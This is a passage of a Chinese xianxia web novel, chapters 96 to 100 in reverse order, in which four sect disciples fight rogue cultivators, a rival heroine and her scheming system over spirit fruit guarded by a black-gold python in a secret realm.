“那个,我媳妇生孩子,我得回家看看!” “我、我肚子疼!先去拉个屎!” “我也……拉一个吧!” 等出了秘境再抢! 眨眼间,这片拥挤的地方空出一大片。 江献晚紧紧攥着还想再冲的黑金蟒的尾巴尖,唇角一抽。 林轻染望着这幕,心死当场,打击颇深。 她站在原地,指甲死死嵌进掌心,却在触及到那明明被操控神智,却任由江献晚攥着尾巴尖,乖的不得了的黑蟒,骤然打了个寒颤。 系统也未预料到这种情况,陷入长久的沉默。 江献晚低头看了一下,将尾巴尖松开。 见黑金蟒调过脑袋,讨好瞅她,想了想,打商量,“生灵果给我两颗成不?我用五品丹药跟你换。” 这生灵果在她和林轻染去摘的时候刚成熟,黑金蟒还没来得及吃下,就被她一脚踩回去了。 让她意外的是,黑金蟒拿脑袋一拱她的手,大气道:都给你。 江献晚:“啊?那怎么行!你不得吃吗?” 她推拒,它死命送,一人一蟒极限拉扯。 在明白黑金蟒说它好像突然有种感觉,用不到生灵果了,现在很想突破,而且很有信心。 江献晚仔细观察一番,觉得它信心满满的样子应该没什么大问题。 她感动坏了,端出一盆五品丹药,“回礼,白色的可以治疗你身上的旧伤,伤好再突破。” “还有,潭水底下的蚀骨灵植对你的伤口不好,能不能送给我?” 她注意到了,黑蟒七寸位置有一道狰狞反卷的伤口。 看起来是陈年旧伤。 它又泡在满是剧毒的水潭中,伤口很难愈合,有加重的迹象。 五品丹药虽珍贵,却也比不上一颗生灵果。 黑金蟒赔的底朝天,反而很高兴,一点不为接下来的雷劫担忧。 它有种强烈的感觉,今天它运气会格外的好。 伸出冰冷的信子,舔走了几颗白色丹药。 七寸处的伤口以一种肉眼可见的速度愈合,黑金蟒还有些恍惚迷茫的竖瞳登时变得格外精明。 它认真的看了看江献晚,调转方向一头扎进水潭。 再回来时,尾巴尖卷了一大团灵植,压着头颅蹭了蹭她的手指。 江献晚接过灵植,摸了摸它的脑袋,“多谢。” 见状,林玉锦没忍住,鬼鬼祟祟摸了它脑袋一把。 白子夜手指难耐,也跟着摸了一把。 黑蟒愣了愣,瞅了他俩一眼,把脑袋递给苏清流。 它从他们身上感受到一丝龙息。 那是绝对的血脉压制! 还意外让它有种灵台被打开,心智更加清明坚定,找到梦想的激动! 江献晚偏头笑了笑,“大师兄,你摸摸,可凉快了。” 苏清流伸过手,“确实凉快。” 默默看了一会儿的裴长安默默跟着伸手。 黑金蟒反射一个躲闪,并朝他张开血盆大口,吐出冰冷的蛇信子,甩在他脸上。 婉拒。 裴长安:“……” 少年收回手,痛心疾首的抹一把脸上的口水。 太过分辣! 这小东西,怎么还区别对待! 告别黑金蟒,八人同行。 裴长安问出了心底的疑惑,“那黑金蟒对着你们怎么那般听话?” “这个啊。” 江献晚捏着玉简,似乎在同人发信息,林玉锦摸着下巴想了想,“可能是我们四个比较可爱。” 其实他也挺好奇的。 裴长安:“……”谁还不可爱了! 他自然不信。 不过,江献晚突然对着他投来怜悯的眼神,是什么意思啊! 那种怜悯,就好像,他们几个偷了他们万古宗的好东西一样。 见她不愿多说,裴长安也不好多问,认真道:“江师妹,今日多谢了。” 江献晚:“……” 已经偏过头,疯狂回信息哄狐狸的江献晚压根没听到。 林轻染唇瓣蠕动,欲言又止。 眼看着快到秘境出口,忍不住主动开口,“江师妹。” 她一开口,众人皆停下脚步。 江献晚从白子夜和林玉锦中间微微探出点头,拿眼神询问。 后者咬了咬唇瓣,似乎难以启齿,“生灵果可以分给我一颗吗?” 若有生灵果,她便可以直接化神。 只有达到化神境,她才有能力在系统的帮助下拉开厄弓,踏上那至高皇位! 她说的是我。 裴长安又双叒叕低下了头,随即猛然抬眸,声音是从未有过的严厉,“师妹!” 张嘴就要,她怎么好意思的! 她又没出一分力! 只知道站在那里瞪着两眼珠子看! 他们在太虚宗这些日,那些弟子对他们很是厚待,此番情谊还未回报,就想要人家一颗生灵果! 白子夜:“啧,从未见过如此厚颜无耻之人。” 林玉锦:“呵呵!” 林轻染从没想到裴长安会用这般言辞急厉的语气对待她。 更没想到三个少年冷眼相待,出口就是呛。 计划一再被打乱,没能成功夺取心心念念的变异灵根,怒气恨不得将她的理智蚕食。 可她现在却只能忍着! 林轻染顶着道道恨不得让她遁地的视线,面颊难堪的苍白,眼底雾气凝聚,泪珠欲坠不坠。 江献晚没说什么,取了颗生灵果,转手给了苏清流。 苏清流随手给裴长安,在后者还未反应过来,扯了自己的小师妹,“走了。” 望着叽叽喳喳,勾肩搭背离去的四人,裴长安捏着那枚生灵果,久久无言。 林轻染攥紧十指,压着心头的戾气,收回目光,湿着嗓音,柔声开口,“师兄,这生灵果……” 裴长安扭头看向梨花带雨的少女。 并不想给她。 面无表情的将生灵果收入芥子囊,淡淡道:“回宗。” 江献晚明显不想理她,苏清流将生灵果给他,意思不言而喻。 他就算不吃,也绝不能给林轻染。 望着前方云纹白衣,自顾自闷头往前走的少年,林轻染咬的牙都要碎了! 更让她眼前一黑的是,裴长安的好感值刷地一下,突然降到了三十。 美人图鉴熄灭! —— 四人忙活大半天,馋的不行,出了秘境,见有散修不死心守着,立刻当着他们的面脱去黑衣,露出一身青裳。 “剑尊亲传驾到,尔等统统闪开!” 等着偷袭的散修:“……” 凤仪剑尊的亲传弟子?! 这特么谁还敢抢! 太虚宗那群人,各个可都是没道德的疯子! 一言难尽的目送四人渐渐远离。 “算了,咱们还是蹲万古宗那四个弟子吧,雄霸天吃了两回亏,刚才传音说,他们马上就到。” “对对对!一千块极品灵石呢!我裤衩都烂了!” 此刻,林轻染还不知道,出了秘境,会遭受到怎样的疯狂报复。 四人装了一波,相当满意,“花美人还算有点用处。” 白子夜还有些想不通,“小师妹,你说那条黑金蟒为何很怕我们的样子?” 江献晚沉默须臾,“可能是咱们可爱?” 是龙鲤。 他们身上有龙鲤的鳞片。 黑金蟒不敢对他们出手,只能将气撒在那些散修和裴长安他们身上。 第 100 章 丑丫头 方才交手,江献晚已然试出了些什么。 女主打不过她。 系统虽可以辅助干扰,却不能直接为林轻染加持,不算大问题。 只是……她笑的这般猥琐作甚! 江献晚还是多了分小心。 感受到水面下的动静,肩膀微侧,脚尖点过,将潭水里的东西压的生生一滞,躲开林轻染再次袭来的一击,重拳出击,不留余力的轰向其腹部。 另一只手看似随意,实则带着绝对的强势拨开她的手,迅速探向灵植。 她动作粗暴,快的眼花缭乱。 眼看着擦手而过,被江献晚一把薅走的灵植,林轻染面色一变。 生灵果和江献晚的灵根她都想要! 可现在,江献晚不仅在她的眼皮子下将灵植收进了芥子囊。 更可气的是,在系统干扰辅助下,她竟没有躲开这一拳! 林轻染被一拳砸的小腹剧烈疼痛起来,身子宛如断线的风筝倒飞出去。 湿红的眸子在看到终于破水而出,一截堪比腰粗细的尾巴,绞着十几丈高的水雾,狠狠抽向江献晚的脊背,唇角弯出一丝迫不及待的笑容。 相比江献晚的死到临头,生灵果对她来说,显得就不重要了。 岸上打的光芒四射,注意到水面乍涌,白子夜足尖轻点虚空,踏出涟漪状的波纹,双手结印。 符文延伸七十二道,辅助阵纹,阵符同成的刹那,双指并剑,五指收拢如摘星揽月。 少年身似鹤舞回风,指尖迸发灵力光晕,薄唇轻启,“困!” 悬浮空中的符箓应声收缩,万千金线将阵中散修四肢紧束。 林玉锦不慌不忙,趁势连甩出一片符纸,“大师兄!” 不用他说,一直注意着江献晚的苏清流,翻腕一折,朝着突然跃出水面的黑金蟒,劈了过去。 他欲转身去拦下那条巨蟒,然而这些散修中不乏修为高强者。 他们长年在刀尖舔血惯了,又如何会放过生灵果这种求而不得的东西,合力强行冲开白子夜的困阵。 白子夜不慌,还有功夫理了一下肩头墨发。 苏清流骨腕微转,剑意横扫泼纵,拦下所有攻击。 他动作看似随意,碎了那个攻势最狠,实力最强的散修的长剑,毫不含糊。 漫不经心的每一招,让裴长安生出恨不得现在便与之全力切磋的渴望。 黑金蟒被苏清流的剑意劈的尾巴一疼,发出聒人耳膜的暴怒嘶声。 庞大的身躯犹如一条黑色的河流,剧烈翻绞。 感受到背后虎虎生风甩来的一截蛇尾,江献晚丝毫不慌,眸光动了动,想掏锅的动作无声收回。 在林轻染直勾勾的期待中,那条黑金蟒硬生生接下苏清流的又一道剑意,狠狠抽……过江献晚的身侧……横扫几个奋力扑来的几个修士! 林轻染:“……?” 狂喜的表情空白一瞬,甚至可以说是茫然。 她眼睁睁的看着江献晚轻盈踩着黑金蟒的尾巴,自上而下,快乐一滑,苏清流唇角勾笑,一手攥了江献晚的手腕,带入怀中。 被偷了生灵果,又被操控了神智的黑金蟒,已然发狂,整个身躯从潭水中浮出。 前有散修,后有黑金蟒。 苏清流四人进退无门,但不在意。 让他们意外的是,裴长安在林轻染失手后,没有第一时间先选择离开。 而是依旧同白子夜和林玉锦,与那些修士打的有来有回。 裴长安面颊沾着几点溅来的血迹,厉声道:“苏师弟!先带江师妹走!” 生灵果在江献晚手中,这些散修和黑金蟒的目标,肯定会全放在她身上! 江献晚现在就是个活靶子! 苏清流江献晚:“……?” 死也想不明白黑金蟒为何不去攻击江献晚,又见裴长安相护的举动,林轻染险些气死。 裴长安竟然帮一个外人! 他是疯了吗! 看不见有人对他自己的师妹出手了吗! 那些散修显然将裴长安他们当成苏清流的同伙,杀红了眼! 而那条黑金蟒更是怒不可遏,尾巴破空一甩,抽向人群! 轰—— 一片血雾爆开,黑金蟒浑身的水滴噼里啪啦落下,将地面腐蚀出黑坑。 它蛇身猛地一弓,绕开江献晚和苏清流,卷起几个修士,将其骨关节绞碎,呼啦啦甩进潭中。 疯一般,无差别一口朝着裴长安和另一个散修咬了下去! 被尾巴尖擦身而过的白子夜和林玉锦:“……?”它有眼疾? 一愣再愣的,还有林轻染。 不是! 这黑金蟒搞什么! 它到底为什么绕开了江献晚和苏清流啊! 还有,明明白子夜和林玉锦离的最近! 它去攻击裴长安和那些修士作甚! 林轻染现在很想死一死。 系统忽然咬牙切齿地开口:“不对!江献晚他们身上有龙族的气息!” 林轻染:“……”你特么……不早点说! 江献晚早发现了黑金蟒的异常,不然也不会留手。 她穿过黑金蟒庞大的身躯下,只手扣上裴长安的肩膀,一扯! 黑金蟒咬下去的动作便滞了一瞬。 几个散修得以脱身。 他们被黑金蟒和白子夜他们恐怖的战斗力,打的理智回归了些,各个面色惨白。 就连抢夺生灵果的心思也去了不少。 差点被咬掉脑袋的裴长安,额间浮出一层冷汗,在扭头看到江献晚的那一刻,眸子一亮,“江师妹!” “嗯。” 江献晚应了一声,视线重新回到狂躁的黑金蟒上。 它失了生灵果,将那些散修当作发泄的目标。 正犹豫要不要对黑金蟒出手,不知哪个散修忽然喊了这么一句,“她身上有生灵果!黑金蟒不会攻击她!我们先杀了那个丑丫头!” 这一句,对气的眼前发黑的林轻染来说,可谓是天籁之音。 江献晚:“……” 杀人就杀人,怎么还带人身攻击! 江献晚淡淡看向那位老者,“老毕登,别逼逼,来。” 她明明就站在那里,黑色裙角随风舞动。 可黑金蟒像是瞎了两个大眼珠子一般,尾巴尖都不敢碰到她。 绕开她和她三位师兄,朝他们一顿猛攻。 散修很不甘心。 那老者声音狠厉,还在疯狂用嘴输出,“臭丫头!老夫撕了你的嘴!” “将生灵果交出来!否则别怪我不客气!” 他抓了不少少女,炼制成炉鼎,连续突破两次都未能成功,急需要一枚生灵果。 江献晚:“……” 杀她,梁静茹给他的勇气吗? 不客气,来啊! 见他面颊凹陷,眼底尽是戾气,将裴长安随手一扔。 身形骤闪,白皙的手指攥上黑金蟒的尾巴尖,用力一抖,生生扭转黑金蟒的方向,狠狠道:“去!给我咬死那个臭老头!” 第 99 章 开打 裴长安和苏清流目光交汇一瞬。 生灵果这种没副作用的东西,谁看了不眼热。 南北两境虽关系不错,可在资源这种事上,分寸不让。 裴长安对摘取生灵果有极大把握,眼下该考虑的是如何守的住。 尤其苏清流。 天生剑骨,剑尊亲传。 不容小觑。 这些散修是最棘手的,主要数量太多,不要命,打起来,肯定会联手对付他们。 主动开口传音,“苏师弟,你助我拦下他们,得手后我们二,你们一,如何?” 林轻染不惧怕任何毒物。 他需要做的是,拦下所有散修,为她保驾护航。 面对这么大的诱惑力,不用亲自以身犯险,只是替他们拦一拦,便能得到一颗生灵果,苏清流不会拒绝。 后来的几个散修,没看见方才的残忍一幕,被冲昏了头脑,径直冲向湖面。 苏清流看也不看‘噗通噗通’,如下饺子一般落入湖中,四肢以一种极快的速度被腐蚀的散修。 蔫蔫垂着睫毛的厌离姿态,在一众修士中显得格格不入,声线懒散,“我全要。” 裴长安:“……”脸你要吗?咋就那么馋? 没想到会被拒绝,裴长安惊愕他哪来这么大的把握。 就算是他,也不敢说面对这么多不要命的散修能守的住。 就在此时,一抹雪白的纤影,忽然毫无征兆的飞身跃向潭面凸起的黑石面。 林轻染出手的一刻,所有的人按耐不住,各种灵力光团甩了出来。 狼多肉少,死的越多,把握越大。 待看到第二抹速度更快的身影,苏清流和裴长安剑尖默契一转。 一道剑意如丝,行云流水般,悠然自得,如烟如风。 另一道剑意如虹,飘逸中带了些凛冽寒意,变幻莫测。 一致拦下出手的散修。 白子夜和林玉锦,还有万古宗另外两个弟子见情况有变,紧跟着加入大乱斗。 “这么多人,你们想独吞!”有个元婴期的散修双目充红,愤然开口,“大宗弟子作风如此霸道,也未免太过分了!” 这一句,瞬间激发了散修的不满。 “堂堂亲传,还要跟我们抢机缘,不给人留一丝活路!让开!我只要一颗!否则我便不客气了!” 裴长安:“……” 知道他们骂的是万古宗,林玉锦还是觉得自己被捎带着一块骂了。 他说要一颗就一颗了? 他咋不上天呢! 这么多人谁不想要? 他们在破山头时,过的同散修没有任何差别。 哪里不明白,这些散修想拿一顶高帽子扣的他们不好意思! 那可就错了。 修真界本就如此! 强者才配活着! “让开?你说让开就让开?秘境是你家开的?” “有种你叫它一声!” 林玉锦一身黑衣,毫无负担的将自己短暂的逐出刚入门不久的宗门。 “谁还不是散修了!自己不敢摘,还不许别人摘,对我师妹出手,你们想死!” 白子夜嘻地一笑,唇瓣一张,吐出几个杀伤力极强的字,“老登,脸不要,可以捐了吗?” 剑拔弩张中,道道目光紧紧绞着并身跃向潭中的两道身影。 散修见她们安全穿过薄雾,又是狂喜又是焦急,不余遗力,拿出看家本领默契发动攻击。 他们资源比不上大宗弟子,只有抱团才有机会从他们手中抢到生灵果。 裴长安在看到江献晚紧随其后之时,紧皱着眉,抬剑迎上那些状若癫狂的散修。 一边打,眸光带了十二分的不赞同,激动质问,“苏道友,你刚才为什么不拦着江师妹!” 他不拦林轻染,是因为她不怕毒啊! 苏清流就这么看着江献晚送死? 裴长安瞬间对他们三个的感官都不好了,语气冷了八分不止,就连手中的剑也爆出阵阵耀目灵力,凌厉如刃。 越说越来气。 “你们怎能如此对待自己的师妹!那石头是条化神期巅峰的黑金蟒!巅峰!” 一阶之差,云泥之别! 林轻染再三同他保证,有办法解决黑金蟒,他才点头的。 “那雾气中的毒如此厉害,你们为什么要看着她去送死!” “快去将她拉回来!现在!” 他第一眼见到江献晚便有种莫名的熟悉感。 尤其在太虚宗这十来日,总忍不住观察她。 她面容虽然有异,可性格却是洒脱,时时刻刻充满朝气。 不难看出,每一日都过的精彩十足。 这么好的一个师妹,苏清流他们是怎么想的! 裴长安的手腕,忍不住朝苏清流斜了一下。 看起来,要不是有这些散修,大有一副,想削给苏清流三人一剑的念头。 三个少年:“……?” 不是,你先看看你自己。 是怎么好意思张嘴说出这种反咬一口的话的! 再说,他们和小师妹的事关他一个外人什么事? 他们不知道那是条化神巅峰期的蟒吗! 他们不知道护好自己的小师妹吗! 他自个都把自个的师妹推出去了,哪来的大脸盘子反过来骂他们? 三个少年一边打,同时暗自考虑,要不要将裴长安摁着暴揍一顿。 江献晚对这一切毫无所知。 她同林轻染几乎同时间穿过薄雾,同时间抓向那株灵植。 江献晚的动作显然更快一些。 两只皓腕带着灵力撞击在一起。 而那些时刻注意着她们的散修,在看到她们确实毫发无损,神色愈发癫狂。 “小儿胆敢阻我!让开!” 一位老者杀红了眼,化神的威压骤然散发到极致,周身爆涌出强悍的灵力。 苏清流和裴长安他们,当然不会给这些散修靠近各自师妹的机会。 达成了默契—— 合力拦下这些散修。 生灵果归属,便看各自师妹的手段了! 裴长安一剑轰退两个不要命的散修,余光不自主的扫向那抹更高挑的身影。 不知为何,他有一种很古怪的感觉。 江献晚能打过林轻染,又好像打不过的样子。 总在关键时,招数不是歪了,就是无征兆的凝滞。 不过,在苏清流挑开一个散修的剑尖,替他挡了一击,裴长安迅速回神。 这些散修打起来不要命,胜在数量多,还真的有点难缠。 另一边,林轻染被撞的手腕一歪,指尖抓了空,眼底骤然浮出一层寒意。 她没想到江献晚竟然不怕这些毒气,之前的谋划便落了空。 更无法接受的是,江献晚的修为远在她之上,根本不是她能比的! 若不是系统扰乱对方,仅凭真正实力,她根本走不过三招。 不是都元婴吗? 她的元婴凭什么比她厉害! 这种被压上一头的落差感,让她眼睛染上几分戾气。 不过,这点戾气很快变成期待。 修为再高又如何,她一个元婴,绝不可能是黑金蟒的对手,待会还不是要完蛋! 林轻染扫了一眼开始震颤波动的水面,微微勾唇。 江献晚注意力集中在女主身上。 见她薅灵植的手被自己撞了空也不恼,甚至面露愉悦,不由得皱了皱眉。 第 98 章 摘水果 山溪汇聚成潭,黑色雾气蒸腾缭绕,模糊视线。 十几个散修如临大敌,分散站在各处,眼中皆是狂热的渴望和受到什么惊吓的恐惧。 惊惶不定的目光在湖面还未腐蚀殆尽的残肢,和湖中心凸起的黑色石面来回游移。 那浮出水的石面上赫然长着一簇吊兰般的灵植,其中点缀三颗白若鸽乳的果实。 潭周围没有什么可东西可依仗,地面都是光秃秃的,没有丝毫生机。 蹲在草丛中的四人看的两眼放光。 林玉锦捧着脸,流口水,发财了发财了!没想到小秘境会出现这么好的东西,生灵果啊!” 吃下一颗,便能轻易突破瓶颈,并且毫无副作用。 尤其针对修为止步不前,寿命所剩不多。 这东西便显得更为难得。 说白了,就是既能轻松升级,还能续命的奇药啊! 好大的狗屎运! 得亏他们拒绝了铁长老的竹笋炒肉外卖。 江献晚微微偏头,试图躲开刺目的阳光,“嘿嘿,铁长老。” 铁长老离合体只差一步,几次试图突破瓶颈,却都是以失败告终。 这不是重点。 重点是,如果能抢到一颗生灵果,长老们的竹笋炒肉,应当……就不用吃了! 白子夜想想都乐,“真期待他举着戒尺,呲牙咧嘴的抽下来,突然看到一颗生灵果的表情。” 苏清流点头。 一定很有趣。 估计铁长老半夜睡觉,都要坐起来扇自己一巴掌。 江献晚活动了一下手腕,“那就速战速决,大师兄,这些散修交给你们,我去摘水果。” 雾气和潭水一看便有剧毒,三息间竟能将一个金丹修士全部腐化,元婴期修士去了也免不了中招。 她不惧怕任何毒素,最合适不过。 女主还在这秘境中,早摘了早离开。 苏清流略一颔首,“当心。” 就当四人准备起身,身后传来细微风声。 方才绕路,有意无意引着裴长安跟来的林轻染,他们后一步躲在不远处。 看着掠来的十几个散修,皆朝着他们躲身的地方看来,脸色顿时冷下。 她本打算等苏清流他们先去摘取生灵果。 待他们遇到危险,正好可以表现一下,获取好感值。 还能借此机会除去江献晚。 并将生灵果收入囊中。 一箭三雕。 谁成想,他们自己反倒先暴露了。 林轻染扫了一眼隐在半人多高的草丛中,不易察觉的四道人影。 自然不可能等着江献晚坐收渔翁之利。 秉着自己暴露,他们也别想藏着,坐享其成。 果断起身,像是刚发现他们一般,故作惊讶开口,“苏师兄?你们也在?” 一道温柔的声音落入众人耳畔。 如涓涓溪水淌过,让人不自觉的心生好感。 白衣少女浅笑看来。 端的无害。 “好巧啊。” 苏清流四人:“……” 裴长安尴尬的又将头低下去了。 曾经腰背挺直,昂首挺胸的亲传,近日低头的次数可谓是多如繁星。 她这是干嘛呀? 自己被发现,故意拉着苏清流他们做什么? 就这么水灵灵的喊出来了? 虽然他们也打算等散修打的死去活来,偷袭一波的。 可这么拖人下水,还真是……有点……无地自容。 果不其然。 听到动静,那些死死紧盯生灵果,蠢蠢欲动的散修,皆面带杀气和警惕,回头看来。 四人无视众人眼光,不在意的从草丛中起身,谁都没搭理她,更不看欲言又止的裴长安。 最前方的少年怀揽长剑,肌肤雪白,眉眼淡然,眼尾却一点勾人的泪痣,风姿自成。 后左侧的少年明眸皓齿,美若暖玉,指尖灵笔一下没一下的滴溜转动,唇角始终噙着一抹若有若无的温润弧度。 后右侧的少年唇红齿白,朗似灿星,正歪着脑瓜同中间自家小师妹说着什么,笑的两只眼睛眯起。 四人惬意悠然,倒像是来野炊的。 丝毫没有觉得蹲在草丛中准备偷袭,是一件多么可耻而不厚道的行为。 修士界本就如此。 弱肉强食,比的就是谁拳头硬,能活到最后。 望眼欲穿的散修看着突然多出的一群人,心中警铃大作。 尤其裴长安四人身上那明晃晃的亲传弟子服。 而更多的散修听到动静,不断有人飞掠而来,数量骤然增加至大几十人。 其中那个先发现生灵果的金丹后期修士,愈发站不住,若再不能突破元婴,等待他的只有死路一条! 脑子一热,一咬牙,飞身扑向潭面那块黑石。 这般举动,顷刻间将所有人的视线引了过去。 只见那包裹极为严实的修士紧抿嘴角,屏住呼吸,快如闪电穿向雾气,抬手抓向灵植。 然而,下一秒,身体像是被什么无形的力量挡了一下,直直陡坠入湖中。 那修士只来得及发出一声凄厉惨叫,整个人被湖水迅速腐蚀,冒出一股腐肉的味道。 翻滚的水面很快平息。 熟悉的一幕,让散修脸色一变再变,一时之间没人再管多出来的一群人。 林轻染看向江献晚,眼眸深处划过一抹微不可察的迫不及待。 她似乎对生灵果没什么想法,只翩跹的站在那里,周身散发着一种圣洁的光芒。 眼底却是胜券在握的傲然之色。 察觉到一道不友好的视线,江献晚没任何反应。 林轻染对她的敌意,似乎不浅。 不过,无所谓。 但心中难免多出几分警惕。 江献晚不能确定林轻染的体质,是否也不惧任何毒素。 望着那凸出水面的黑石,眸光微动。 正好,她也想试试女主和系统的实力。 林轻染缓缓收回目光,在脑海中同系统商议如何拉江献晚下水。 系统:“那石面是黑金蟒的背部,化神巅峰。潭下有一株五品毒草,有剧毒,想办法把江献晚弄下去。我会用能量护着你,待你摘取生灵果后,我便控制黑金蟒去攻击苏清流他们。” “再加上这么多散修,他们肯定打不过,到时用混了你血的丹药救下苏清流他们三个。” 那些散修不成气候,顺手弄死,还能吸收他们的气运和修为化作它充盈能量的养料。 毕竟,它每消耗一次能量,便需要及时补充。 能量越强,就不单单可以控制灵兽和低阶修士。 第 97 章 这不就是在抢 可若强行脱离林轻染的身体,它会受到很大的重创。 系统喘着粗气,怒道:“闭嘴!没了男人你特么活不起吗!就照我说的办!” 林轻染:“……”草泥马。 翘首以盼,秘境入口开启,散修一股脑冲在最前。 毕竟,先一步,有更大的可能找到稀罕的灵植灵兽。 苏清流他们不想与万古宗的人有过多接触,后者自然能感觉出来。 裴长安怕林轻染搞事,忙拉着她,自证清白似的,跟上散修。 江献晚不慌不忙,拿出玉简,一条信息发给王大宝,等所有修士全部进入秘境,才慢吞吞的同三位师兄跟上。 入眼荆棘藤蔓攀缠在树干,肆意形成一幕幕绿色屏障,不知名的花朵穿插其中,看起来美丽,却带着危险。 不过,再怎么危险,对于小秘境来说,指数都不会太高。 林玉锦看着风卷残云般,被扫荡过的地皮,跟在屁股后捡漏,寻找可以入药炼丹的灵植。 认真起来的少年,漂亮的不像话。 “不愧是散修,恐怖如斯。” 所到之处,蝗虫过境。 “我们往哪个方向走?”白子夜指尖的‘苍生鉴’折射出道道光影,歪头时,睫毛织着阳光,格外明媚。 苏清流用剑挑起藤蔓屏障,示意江献晚先过,“顺着水源的方向。” 这些藤蔓荆棘,喜阴湿,西侧长势喜人,路难走,散修相对少一些。 依照散修的能力,往人多的地方去,只有捡漏的份。 江献晚鼻尖动了动,果然闻到一股湿润的水腥味,是溪流特有的味道。 她和林玉锦一边挑选有用的灵植,一边嚼吧着随手拔的灵草,苏清流和白子夜负责对付时不时窜出来的异兽。 当然,他们学的这么杂,还要归功于帝隐曾传授进她识海的各种书籍,还有花不休砸给他们的恐怖书山。 江献晚拜入破山头第一日被书山淹没,坚强的举起一只手,反手就将了三个师兄一军,将帝隐传给她的书籍塞过去。 四人互相伤害,很长一段时间,背的那叫一个哇哇大叫,死去活来,暗无天日。 行至溪流前时,周围尽是阔叶密林。 头顶纵横交错的缝隙,阳光斑驳洒落,温度比方才热了一些。 四人仔细观察前方的地面。 看似寻常的湿地除了杂草植蔓和枯枝落叶,散布着一个个不起眼的小土包。 极难发觉的洞穴周围是松散的泥土颗粒。 细看,延伸出一片,逐渐密密麻麻。 地上活动着的,类似蚂蚁的生物,速度很快。 若要继续往里行,必不可免的需要经过这片地方。 林玉锦扬了扬眉,“毒蚁,看似不起眼,毒液很强,可以眨眼间麻痹一个筑基期修士的神经,令其四肢绵软无力。” 江献晚注意到那些毒蚁绕开草丛中一簇簇小白花,随手掐了几朵。 五步之内,必有解药。 转手递给苏清流和白子夜,“甜的。” 听到甜,白子夜二话不说,立马接过来。 吮吸过花蕊中的蜜,嚼着花瓣,意犹未尽的看向江献晚指尖的花,再眼巴巴地去瞧植被上的一片。 江献晚无情的掐灭他看起来要去啃花的念头,“二师兄你冷静,这花有毒,吃多了浑身痒。” 林玉锦补充道:“没关系,痒的话,躺荆棘丛里畅游几圈就好了。” 白子夜幽怨的收回想要的目光,指尖灵笔滴溜一转,兴致缺缺,“我来吧,烧死它们!” “千万不要哇二师兄!”林玉锦摁住他凌空画符的手,“别冲动,烧死它们,毒素会跟着空气蔓延的!” “还有,别这么暴殄天物!这些毒蚁可是炼制毒丹的好药材!” 待林玉锦和江献晚端了几处毒蚁的巢穴,沿着溪流往里走了一段,忽然听到身后传来求救的声音。 回头一看,几个中招的散修口吐白沫倒在远处,身上赫然爬着不少毒蚁。 四周洞穴不知不觉,涌出来更多的毒蚁,蜿蜒成细流,打算将那几个散修分食。 看的人头皮发麻。 白子夜挑眉,“嘻,抖的还挺快乐。” “二师兄,你笑的真不是人。”林玉锦拿沾着泥土的手拍他的肩,顺便偷偷摸摸抹了一下,“人家命都快没了。” 后者回给他一个差点喷出血的肘击。 那几个散修见他们回头,忙投来求助的目光,叫声欢快,口喷白沫,别提有多热情了。 “救命!” “救我!” 苏清流并不是善心乱发的人,观察了一下几人的气质,觉得此他们约摸不是坏人,慢悠悠上前。 他气质倦懒松散,容貌俊美出众,颀长的身姿,头发丝都散发着正道的气息。 声音宛如天……啊魔鬼。 “一条命,一万块极品灵石。” “一万!你怎么不去抢!” 他是怎么一本正经,说出如此冰冷无情地话的! 苏清流略略歪头,似乎有些不解他们怎么能反问出这种问题,“这不就是在抢。” 后者:“……”别说,这劫匪就挺实诚的。 含泪点头,“成交! 命重要! 其中一个哭丧着脸:“我灵石不够。” 苏清流掏出纸和笔,淡淡道:“欠条。” “……”那个散修伸出颤巍巍的手摁下手印,“道友,你准备的,可真全啊。” 苏清流不可置否,以灵力震落他身上的毒蚁,顺手掐了一朵花塞他嘴里。 他动作看似悠然实则很快,还没等人反应过来,连掐几朵,如法炮制。 很快,几个散修停止了倒沫子。 他们一致看向触手可及的小白花:“……”请问,他还是人吗? 白子夜兀自颔首,“大师兄打家劫舍的功夫,已然登峰造极。” “说的跟你不是似的,明明属你心最黑了。”林玉锦小声嘟囔。 天降意外之财,四人扫荡起来,更加精神抖擞。 就在他们蹲在地上刨竹笋,准备回去加餐时,远处隐约传来几声凄厉惨叫。 林玉锦耳尖一动,侧耳细听。 在又听到一声,食指开心一晃,“按照套路,叫声如此惨烈,绝对有好东西出现。” 白子夜当即道:“秘境这么大,我想去看看!” 苏清流和江献晚默默加快速度。 第 96 章 这特么也能碰到 正吐槽着,林玉锦眼睛蓦然一亮,拿手肘顶了顶江献晚的胳膊,“我想到一个赚钱的机会。” 熟知自家小师兄秉性的江献晚疯狂摇头,“小师兄,我还想多活两日。” 竟然想竞拍花不休的贴身之物。 想想都可怕。 林玉锦失望的重新将脸埋回去,“可怜了我偷藏的花美人的那条亵裤。” 话一出口,三人顿时拿扭曲的眼神盯他。 脸上一致写着—— 你竟然偷藏花不休的亵裤! 你莫不是想以下犯上骑师灭祖? 还有,我把你当师弟(师兄)你竟然想做我们地师娘! 林玉锦被三双眼睛盯的一哆嗦,后知后觉,深感恶寒。 他捂上胸口,恶心的将葱油饼一口呸出去。 为自己的清白大声证明! “收起你们放荡猥琐的小眼神!那是意外!” “我把小师妹给我的符纸甩进他房间,不小心把他亵裤烧出了个洞。” “这不是怕他揍我,我偷偷埋在了小师妹门外的地底下。” 江献晚眼皮一跳,“你埋我门前做什么?” 林玉锦理直气壮,“他肯定想不到去掘你门前的地!” 江献晚:“……”我谢谢你。 苏清流没眼看他,转过头,望着走进来的一行四人,眉不由拧紧。 这特么还能碰到? 江献晚端着碗,刚顺着他的目光看去,‘咔嚓’一声,树上的野生水果,连带树杈,就这么当头坠落。 意外来的就是这么猝不及防,白子夜和苏清流同时抓上树杈,江献晚仰身一避。 林玉锦扔了手里的葱油饼,一把抓住那枚就要砸到江献晚碗中的果实。 四人:“……”哦耶!完美躲过! 林轻染看到树下的四人,眯眸浅笑,丝毫不觉得有什么尴尬,“江师妹,好巧,没想到会在这里碰到。” 裴长安自然也发现了他们,见被三个少年围着,又是捏头顶树叶又是擦手的江献晚,神情一言难尽,“江师妹……你这是……” 很有缘分在此处遇到女主,江献晚眼睛里还有些震惊的茫然。 她同女主,果真八字不合吗? 还有,她出太虚宗就注意到十几个狗狗祟祟,蹲在草丛中的散修。 雄霸天也太弱了吧。 林轻染显然养好了伤,今日也是碰巧离开太虚宗。 林玉锦将江献晚脑袋上的树叶摘下来,没好气的瞪了裴长安一眼,“自己没长眼,不会看?早知道出门就该先看看黄历。” 他很有必要怀疑,裴长安他们是不是故意跟在屁股后面。 裴长安:“……” 他若听不出点什么就是傻的了。 